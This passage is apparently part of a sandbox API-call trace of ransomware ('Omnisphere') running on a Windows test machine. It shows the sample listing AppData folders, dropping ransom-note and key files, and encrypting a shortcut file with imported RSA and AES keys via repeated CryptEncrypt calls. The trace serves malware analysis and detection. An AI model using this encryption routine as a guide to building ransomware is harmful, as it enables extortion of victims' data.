nFileSizeHigh=0x0, nFileSizeLow=0x4b, dwReserved0=0x0, dwReserved1=0xc8, cFileName="ConsoleHost_history.txt", cAlternateFileName="CONSOL~1.TXT")) returned 0 [0118.172] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0118.172] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd65f9933, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0x27879f62, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27879f62, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639b68 [0118.172] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd65f9933, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0x27879f62, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27879f62, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.172] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27879f62, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27879f62, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27879f62, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0118.172] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65f9933, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0x27879f62, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x56f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConsoleHost_history.txt.omnisphere", cAlternateFileName="CONSOL~1.OMN")) returned 1 [0118.172] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27879f62, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27879f62, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27879f62, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConsoleHost_history.txt.omnisphere.id", cAlternateFileName="CONSOL~1.ID")) returned 1 [0118.172] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27879f62, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27879f62, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27879f62, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0118.172] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27879f62, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27879f62, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27879f62, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0118.172] FindClose (in: hFindFile=0x1639b68 | out: hFindFile=0x1639b68) returned 1 [0118.173] GetProcessHeap () returned 0x1600000 [0118.173] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0118.173] GetProcessHeap () returned 0x1600000 [0118.173] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656388 | out: hHeap=0x1600000) returned 1 [0118.173] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd65f9933, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 0 [0118.173] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0118.173] GetProcessHeap () returned 0x1600000 [0118.173] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b870 | out: hHeap=0x1600000) returned 1 [0118.173] GetProcessHeap () returned 0x1600000 [0118.173] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16337f8 | out: hHeap=0x1600000) returned 1 [0118.173] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3ccf2c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Printer Shortcuts", cAlternateFileName="PRINTE~1")) returned 1 [0118.173] GetProcessHeap () returned 0x1600000 [0118.173] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x165e408 [0118.173] PathCombineW (in: pszDest=0x165e408, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Printer Shortcuts" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts" [0118.173] GetProcessHeap () returned 0x1600000 [0118.173] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x16568c8 [0118.173] PathCombineW (in: pszDest=0x16568c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*" [0118.173] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3ccf2c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0118.173] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3ccf2c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="..", cAlternateFileName="")) returned 1 [0118.173] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3ccf2c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="..", cAlternateFileName="")) returned 0 [0118.174] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0118.174] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3ccf2c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0118.174] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3ccf2c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0118.174] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3ccf2c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 0 [0118.174] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0118.174] GetProcessHeap () returned 0x1600000 [0118.174] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16568c8 | out: hHeap=0x1600000) returned 1 [0118.174] GetProcessHeap () returned 0x1600000 [0118.174] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e408 | out: hHeap=0x1600000) returned 1 [0118.174] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2307413b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2307413b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Recent", cAlternateFileName="")) returned 1 [0118.174] GetProcessHeap () returned 0x1600000 [0118.174] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x80) returned 0x1668708 [0118.174] PathCombineW (in: pszDest=0x1668708, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows", pszFile="Recent" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0118.174] GetProcessHeap () returned 0x1600000 [0118.174] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x84) returned 0x1633b58 [0118.174] PathCombineW (in: pszDest=0x1633b58, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*" [0118.174] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2307413b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2309a1b9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0118.175] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2307413b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2309a1b9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd3, cFileName="..", cAlternateFileName="")) returned 1 [0118.175] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eb738a4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1eb738a4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1eb738a4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x28d, dwReserved0=0x0, dwReserved1=0xd3, cFileName="- BGCTQP_oc.lnk", cAlternateFileName="-BGCTQ~1.LNK")) returned 1 [0118.175] GetProcessHeap () returned 0x1600000 [0118.175] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x1656628 [0118.175] PathCombineW (in: pszDest=0x1656628, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="- BGCTQP_oc.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\- BGCTQP_oc.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\- BGCTQP_oc.lnk" [0118.175] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0118.175] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\- BGCTQP_oc.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\- bgctqp_oc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0118.175] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=653) returned 1 [0118.175] GetTickCount () returned 0x115d899 [0118.175] GetTickCount () returned 0x115d899 [0118.175] GetTickCount () returned 0x115d899 [0118.175] GetTickCount () returned 0x115d899 [0118.175] GetTickCount () returned 0x115d899 [0118.175] GetTickCount () returned 0x115d899 [0118.175] GetTickCount () returned 0x115d899 [0118.175] GetTickCount () returned 0x115d899 [0118.175] GetTickCount () returned 0x115d899 [0118.175] GetTickCount () returned 0x115d899 [0118.175] GetTickCount () returned 0x115d899 [0118.175] GetTickCount () returned 0x115d899 [0118.175] GetTickCount () returned 0x115d899 [0118.176] GetTickCount () returned 0x115d899 [0118.176] GetTickCount () returned 0x115d899 [0118.176] GetTickCount () returned 0x115d899 [0118.176] GetTickCount () returned 0x115d899 [0118.176] GetTickCount () returned 0x115d899 [0118.176] GetTickCount () returned 0x115d899 [0118.176] GetTickCount () returned 0x115d899 [0118.176] GetTickCount () returned 0x115d899 [0118.176] GetTickCount () returned 0x115d899 [0118.176] GetTickCount () returned 0x115d899 [0118.176] GetTickCount () returned 0x115d899 [0118.176] GetTickCount () returned 0x115d899 [0118.176] GetTickCount () returned 0x115d899 [0118.176] GetTickCount () returned 0x115d899 [0118.176] GetTickCount () returned 0x115d899 [0118.176] GetTickCount () returned 0x115d899 [0118.176] GetTickCount () returned 0x115d899 [0118.176] GetTickCount () returned 0x115d899 [0118.176] GetTickCount () returned 0x115d899 [0118.176] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668bd0) returned 1 [0118.177] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0118.177] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0118.177] CryptDestroyKey (hKey=0x1639b28) returned 1 [0118.177] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0118.177] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x28d, lpName=0x0) returned 0x288 [0118.177] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x28d) returned 0x1480000 [0118.177] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669098) returned 1 [0118.178] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639568) returned 1 [0118.178] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.178] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0118.179] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, 